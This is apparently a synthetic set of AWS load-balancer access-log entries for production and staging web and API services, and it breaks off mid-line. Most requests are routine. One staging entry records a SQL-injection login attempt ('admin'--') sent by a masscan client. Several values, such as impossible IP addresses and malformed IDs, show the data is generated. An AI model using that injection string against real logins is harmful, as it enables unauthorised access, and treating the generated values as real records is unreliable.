prod-api-alb 232.170.53.1:47112 10.0.214.140:443 0.008069 0.396742 0.078292 404 404 217 9943 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c63a-f917aea70e4c439a8c314d78" "prod-api-alb.example.com" "-" 4 2024-11-01T01:02:34.849058Z "forward" "-" "-" "10.0.214.140:443" "404" "-" "-" +https 2024-11-01T01:02:36.485348Z prod-web-alb 146.179.210.161:45211 10.0.253.7:443 0.054508 0.285705 0.021405 404 404 40 11146 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c63c-757efb1b6da64265a350c792" "prod-web-alb.example.com" "-" 1 2024-11-01T01:02:36.485348Z "forward" "-" "-" "10.0.253.7:443" "404" "-" "-" +https 2024-11-01T01:02:38.285875Z prod-web-alb 82.91.233.99:38916 10.0.239.159:443 0.001733 0.412690 0.013407 200 200 988 7494 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c63e-6eee97d19807435a92fed13b" "prod-web-alb.example.com" "-" 5 2024-11-01T01:02:38.285875Z "forward" "-" "-" "10.0.239.159:443" "200" "-" "-" +https 2024-11-01T01:02:40.261611Z staging-alb 193.146.90.101:24851 240.43.136.20:80 0.093754 0.487997 0.128725 200 200 545 12007 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c640-65e14f5fcff748669f58d54c" "staging-alb.example.com" "-" 3 2024-11-01T01:02:40.261611Z "forward" "-" "-" "240.43.136.20:80" "200" "-" "-" +https 2024-11-01T01:02:40.934073Z prod-api-alb 215.147.31.145:48126 10.0.56.165:443 0.021787 0.271184 0.024226 200 200 582 6481 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c640-0112b4cc9b8948a3a6680e32" "prod-api-alb.example.com" "-" 10 2024-11-01T01:02:40.934073Z "forward" "-" "-" "10.0.56.165:443" "200" "-" "-" +https 2024-11-01T01:02:42.401610Z prod-api-alb 150.111.246.162:17955 10.0.108.190:443 0.043564 0.438278 0.090323 200 200 920 11509 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c642-79ea324bf6d440b4b8596bac" "prod-api-alb.example.com" "-" 2 2024-11-01T01:02:42.401610Z "forward" "-" "-" "10.0.108.190:443" "200" "-" "-" +https 2024-11-01T01:02:44.232633Z prod-api-alb 19.103.144.180:44741 10.0.68.255:443 0.022183 0.103416 0.040890 200 200 975 7222 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c644-31154cd4633649b9bfe68fc3" "prod-api-alb.example.com" "-" 7 2024-11-01T01:02:44.232633Z "forward" "-" "-" "10.0.68.255:443" "200" "-" "-" +https 2024-11-01T01:02:46.118194Z prod-web-alb 238.176.177.240:64206 10.0.131.211:443 0.044083 0.416217 0.044773 200 200 101 9289 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c646-33c56ea37fd241eab4eba955" "prod-web-alb.example.com" "-" 8 2024-11-01T01:02:46.118194Z "forward" "-" "-" "10.0.131.211:443" "200" "-" "-" +https 2024-11-01T01:02:47.122523Z staging-alb 34.141.202.154:28984 189.56.165.52:8080 0.045681 0.543494 0.004646 200 200 261 7404 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c647-c8ef3af3b8414301ad131bc0" "staging-alb.example.com" "-" 8 2024-11-01T01:02:47.122523Z "forward" "-" "-" "189.56.165.52:8080" "200" "-" "-" +https 2024-11-01T01:02:48.181627Z prod-web-alb 251.77.217.154:55454 10.0.223.114:443 0.000500 0.346522 0.094346 200 200 650 14244 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c648-ecf38492bc8e49e58ce57574" "prod-web-alb.example.com" "-" 1 2024-11-01T01:02:48.181627Z "forward" "-" "-" "10.0.223.114:443" "200" "-" "-" +https 2024-11-01T01:02:49.883625Z prod-web-alb 154.113.80.246:63731 10.0.136.10:443 0.098676 0.152684 0.076380 200 200 622 8963 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c649-4298f5fd2d23401ba1df3222" "prod-web-alb.example.com" "-" 3 2024-11-01T01:02:49.883625Z "forward" "-" "-" "10.0.136.10:443" "200" "-" "-" +https 2024-11-01T01:02:51.144549Z prod-api-alb 35.59.31.142:32251 10.0.154.21:443 0.002479 0.186253 0.058352 404 404 116 3664 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c64b-345d09fed4f9470dac5de0d9" "-" "-" 6 2024-11-01T01:02:51.144549Z "forward" "-" "-" "10.0.154.21:443" "404" "-" "-" +https 2024-11-01T01:02:52.877437Z prod-web-alb 206.112.119.96:54793 10.0.230.173:443 0.040316 0.410308 0.053395 200 200 266 1216 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c64c-bd62bc9aed1a45238ff0100f" "prod-web-alb.example.com" "-" 10 2024-11-01T01:02:52.877437Z "forward" "-" "-" "10.0.230.173:443" "200" "-" "-" +https 2024-11-01T01:02:54.135357Z prod-api-alb 30.72.162.71:33030 10.0.96.237:443 0.043174 0.398929 0.068595 200 200 503 13823 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c64e-ad43e2eb80be4099bf0947c2" "prod-api-alb.example.com" "-" 4 2024-11-01T01:02:54.135357Z "forward" "-" "-" "10.0.96.237:443" "200" "-" "-" +http 2024-11-01T01:02:55.725349Z staging-alb 71.236.209.247:35620 79.235.217.174:80 0.034483 0.611956 0.064136 302 302 20 14614 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c64f-ee6e378275934e0ebadf4864" "-" "-" 2 2024-11-01T01:02:55.725349Z "forward" "-" "-" "79.235.217.174:80" "302" "-" "-" +https 2024-11-01T01:02:57.634916Z prod-web-alb 116.250.3.126:37277 10.0.103.190:443 0.072963 0.313810 0.099966 301 301 908 8855 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c651-e140f1a71613485695a5c73d" "prod-web-alb.example.com" "-" 0 2024-11-01T01:02:57.634916Z "forward" "-" "-" "10.0.103.190:443" "301" "-" "-" +https 2024-11-01T01:02:57.818678Z prod-api-alb 152.189.136.37:43383 10.0.151.32:443 0.080895 0.305324 0.016672 301 301 934 10442 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c651-50255c7c4b364cfba15264d6" "prod-api-alb.example.com" "-" 6 2024-11-01T01:02:57.818678Z "forward" "-" "-" "10.0.151.32:443" "301" "-" "-" +https 2024-11-01T01:02:58.671564Z prod-web-alb 231.212.77.27:43821 10.0.172.201:443 0.095250 0.254113 0.089671 200 200 643 5314 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c652-a11c53eb3d2f48d8ae9194b9" "prod-web-alb.example.com" "-" 1 2024-11-01T01:02:58.671564Z "forward" "-" "-" "10.0.172.201:443" "200" "-" "-" +https 2024-11-01T01:03:00.598821Z prod-api-alb 193.128.218.18:55923 10.0.142.221:443 0.060659 0.160413 0.039735 200 200 639 638 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c654-ee18f8365639400990e45e96" "prod-api-alb.example.com" "-" 3 2024-11-01T01:03:00.598821Z "forward" "-" "-" "10.0.142.221:443" "200" "-" "-" +https 2024-11-01T01:03:01.381382Z staging-alb 255.208.136.204:26295 156.228.144.89:443 0.120216 0.375935 0.060514 302 302 2 4242 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c655-53ca66ee1db8422181d788f4" "staging-alb.example.com" "-" 3 2024-11-01T01:03:01.381382Z "forward" "-" "-" "156.228.144.89:443" "302" "-" "-" +https 2024-11-01T01:03:02.066696Z prod-web-alb 236.154.47.96:54875 10.0.83.156:443 0.047921 0.207022 0.083867 200 200 638 6396 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c656-95b22e9c74594d1e8720a4aa" "prod-web-alb.example.com" "-" 6 2024-11-01T01:03:02.066696Z "forward" "-" "-" "10.0.83.156:443" "200" "-" "-" +https 2024-11-01T01:03:02.365485Z staging-alb 238.88.211.94:42490 133.44.167.107:8080 0.125234 0.393166 0.027975 302 302 259 2098 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c656-c47eb634079e467e84ec3e5c" "staging-alb.example.com" "-" 8 2024-11-01T01:03:02.365485Z "forward" "-" "-" "133.44.167.107:8080" "302" "-" "-" +https 2024-11-01T01:03:03.055237Z prod-web-alb 213.72.36.33:14310 10.0.130.151:443 0.069318 0.348715 0.018969 200 200 286 12584 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c657-c8865f0150fd44dba85ad828" "prod-web-alb.example.com" "-" 5 2024-11-01T01:03:03.055237Z "forward" "-" "-" "10.0.130.151:443" "200" "-" "-" +https 2024-11-01T01:03:03.220880Z prod-web-alb 49.84.158.248:59213 10.0.202.132:443 0.041595 0.194594 0.004138 200 200 477 10818 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c657-9702d8eecc4e4b98907db19b" "prod-web-alb.example.com" "-" 1 2024-11-01T01:03:03.220880Z "forward" "-" "-" "10.0.202.132:443" "200" "-" "-" +https 2024-11-01T01:03:04.236789Z prod-api-alb 146.135.251.25:12197 10.0.76.71:443 0.087216 0.468942 0.087368 200 200 605 4513 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c658-c29b074151784d93a51a3f2b" "prod-api-alb.example.com" "-" 7 2024-11-01T01:03:04.236789Z "forward" "-" "-" "10.0.76.71:443" "200" "-" "-" +https 2024-11-01T01:03:06.001906Z prod-web-alb 151.159.16.249:60930 10.0.55.154:443 0.014881 0.292775 0.055736 200 200 812 2669 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c65a-aa162e3481a84a3cb14d5887" "prod-web-alb.example.com" "-" 3 2024-11-01T01:03:06.001906Z "forward" "-" "-" "10.0.55.154:443" "200" "-" "-" +https 2024-11-01T01:03:06.277165Z prod-api-alb 59.22.193.147:62209 10.0.209.146:443 0.051047 0.392935 0.029784 200 200 208 5783 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c65a-3b7a57fbe3314f1489878365" "prod-api-alb.example.com" "-" 2 2024-11-01T01:03:06.277165Z "forward" "-" "-" "10.0.209.146:443" "200" "-" "-" +https 2024-11-01T01:03:06.560985Z prod-api-alb 221.95.171.167:49719 10.0.197.247:443 0.011377 0.003774 0.024762 302 302 849 915 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c65a-a4d2acd6db6e48ae8e3f595d" "prod-api-alb.example.com" "-" 9 2024-11-01T01:03:06.560985Z "forward" "-" "-" "10.0.197.247:443" "302" "-" "-" +https 2024-11-01T01:03:07.241739Z staging-alb 201.198.128.62:64731 103.228.203.46:80 0.016800 0.019481 0.050443 301 301 592 6081 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c65b-30f1bee40b084a3c9c5b1146" "staging-alb.example.com" "-" 9 2024-11-01T01:03:07.241739Z "forward" "-" "-" "103.228.203.46:80" "301" "-" "-" +https 2024-11-01T01:03:09.210771Z staging-alb 129.175.119.121:22459 202.44.15.57:8080 0.129777 0.586074 0.124751 200 200 674 12404 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c65d-eef28c6c200a41b18cd09754" "staging-alb.example.com" "-" 9 2024-11-01T01:03:09.210771Z "forward" "-" "-" "202.44.15.57:8080" "200" "-" "-" +https 2024-11-01T01:03:09.393677Z staging-alb 182.61.151.150:50691 104.27.32.250:8080 0.037077 0.153848 0.104379 200 200 843 12203 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c65d-7198bd4b54f0496f90abff61" "staging-alb.example.com" "-" 3 2024-11-01T01:03:09.393677Z "forward" "-" "-" "104.27.32.250:8080" "200" "-" "-" +https 2024-11-01T01:03:11.275501Z staging-alb 225.221.151.119:10597 5.97.90.238:80 0.015307 0.498742 0.149449 404 404 962 12410 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c65f-190f35681f49444db0f3e30c" "staging-alb.example.com" "-" 6 2024-11-01T01:03:11.275501Z "forward" "-" "-" "5.97.90.238:80" "404" "-" "-" +https 2024-11-01T01:03:12.523832Z prod-api-alb 232.192.92.68:21988 10.0.216.235:443 0.086366 0.099309 0.043605 200 200 516 13648 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c660-ea78baadfd134ee2ab565a3d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:03:12.523832Z "forward" "-" "-" "10.0.216.235:443" "200" "-" "-" +https 2024-11-01T01:03:12.954131Z prod-web-alb 130.45.41.26:15478 10.0.184.195:443 0.063759 0.348194 0.076055 200 200 517 11060 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c660-3312e2d0a3bc4328b99d6659" "prod-web-alb.example.com" "-" 4 2024-11-01T01:03:12.954131Z "forward" "-" "-" "10.0.184.195:443" "200" "-" "-" +http 2024-11-01T01:03:13.261057Z staging-alb 206.179.72.168:49377 195.64.225.133:80 0.093613 0.025471 0.102990 200 200 351 10377 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c661-cbf8b6debfb84dee892a669f" "staging-alb.example.com" "-" 0 2024-11-01T01:03:13.261057Z "forward" "-" "-" "195.64.225.133:80" "200" "-" "-" +https 2024-11-01T01:03:14.963751Z prod-api-alb 25.197.83.142:40412 10.0.62.61:443 0.037653 0.300459 0.056849 301 301 691 3252 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c662-43ae110401a34815a1029f7f" "prod-api-alb.example.com" "-" 6 2024-11-01T01:03:14.963751Z "forward" "-" "-" "10.0.62.61:443" "301" "-" "-" +https 2024-11-01T01:03:16.853632Z prod-api-alb 198.130.45.94:19690 10.0.151.127:443 0.056474 0.077718 0.087456 200 200 264 12404 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c664-ad53b8fb7fec4714b9fef665" "prod-api-alb.example.com" "-" 6 2024-11-01T01:03:16.853632Z "forward" "-" "-" "10.0.151.127:443" "200" "-" "-" +https 2024-11-01T01:03:18.412581Z staging-alb 9.210.243.100:57726 25.32.9.58:443 0.002235 0.453176 0.016282 302 302 900 4877 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c666-e106eafa3f224bcdae595439" "staging-alb.example.com" "-" 0 2024-11-01T01:03:18.412581Z "forward" "-" "-" "25.32.9.58:443" "302" "-" "-" +https 2024-11-01T01:03:19.687758Z prod-web-alb 193.27.228.87:18640 10.0.5.169:443 0.081396 0.251531 0.040598 301 301 767 3444 "GET /admin HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c667-d75efb6d00fe471e9fa3f26d" "-" "-" 3 2024-11-01T01:03:19.687758Z "forward" "-" "-" "10.0.5.169:443" "301" "-" "-" +https 2024-11-01T01:03:20.928402Z staging-alb 185.181.76.214:46830 167.36.10.191:80 0.103534 0.133983 0.058563 403 403 480 8927 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c668-b66282b74d03449e98541511" "-" "-" 3 2024-11-01T01:03:20.928402Z "forward" "-" "-" "167.36.10.191:80" "403" "-" "-" +https 2024-11-01T01:03:21.093787Z staging-alb 229.185.95.79:24709 217.209.122.158:8080 0.130591 0.519851 0.108414 200 200 366 13362 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c669-da7b9406076f46f1b2fe46e7" "staging-alb.example.com" "-" 3 2024-11-01T01:03:21.093787Z "forward" "-" "-" "217.209.122.158:8080" "200" "-" "-" +https 2024-11-01T01:03:23.062421Z prod-web-alb 18.37.105.191:50993 10.0.115.90:443 0.047962 0.456292 0.037509 404 404 841 11122 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c66b-0b2d3db195b74d62a64aaf0b" "prod-web-alb.example.com" "-" 6 2024-11-01T01:03:23.062421Z "forward" "-" "-" "10.0.115.90:443" "404" "-" "-" +https 2024-11-01T01:03:23.416015Z prod-api-alb 66.88.215.147:25830 10.0.89.78:443 0.079275 0.220544 0.009246 301 301 569 376 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c66b-ed57d74805c14b39a88cf6a7" "prod-api-alb.example.com" "-" 8 2024-11-01T01:03:23.416015Z "forward" "-" "-" "10.0.89.78:443" "301" "-" "-" +https 2024-11-01T01:03:24.746192Z prod-api-alb 53.62.37.51:15144 10.0.134.61:443 0.041516 0.206213 0.097356 200 200 314 7329 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c66c-6575e6e2019d4078ad43f536" "prod-api-alb.example.com" "-" 9 2024-11-01T01:03:24.746192Z "forward" "-" "-" "10.0.134.61:443" "200" "-" "-" +https 2024-11-01T01:03:26.464918Z prod-web-alb 110.187.68.89:41689 10.0.129.70:443 0.024898 0.386480 0.089189 301 301 41 6689 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c66e-17de5b1872744e37bd39167d" "prod-web-alb.example.com" "-" 3 2024-11-01T01:03:26.464918Z "forward" "-" "-" "10.0.129.70:443" "301" "-" "-" +https 2024-11-01T01:03:28.101946Z prod-api-alb 68.135.66.185:34212 10.0.138.31:443 0.078643 0.062935 0.024497 200 200 175 6142 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c670-b7252413ec2e4f16b547bc0c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:03:28.101946Z "forward" "-" "-" "10.0.138.31:443" "200" "-" "-" +https 2024-11-01T01:03:28.470424Z prod-web-alb 27.195.90.254:26045 10.0.209.238:443 0.010326 0.037309 0.098533 200 200 286 8678 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c670-47b690a86fbc4e4aa5597885" "prod-web-alb.example.com" "-" 10 2024-11-01T01:03:28.470424Z "forward" "-" "-" "10.0.209.238:443" "200" "-" "-" +http 2024-11-01T01:03:29.583132Z staging-alb 118.216.116.52:12418 124.0.228.174:8080 0.023917 0.094314 0.056511 200 200 803 11316 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 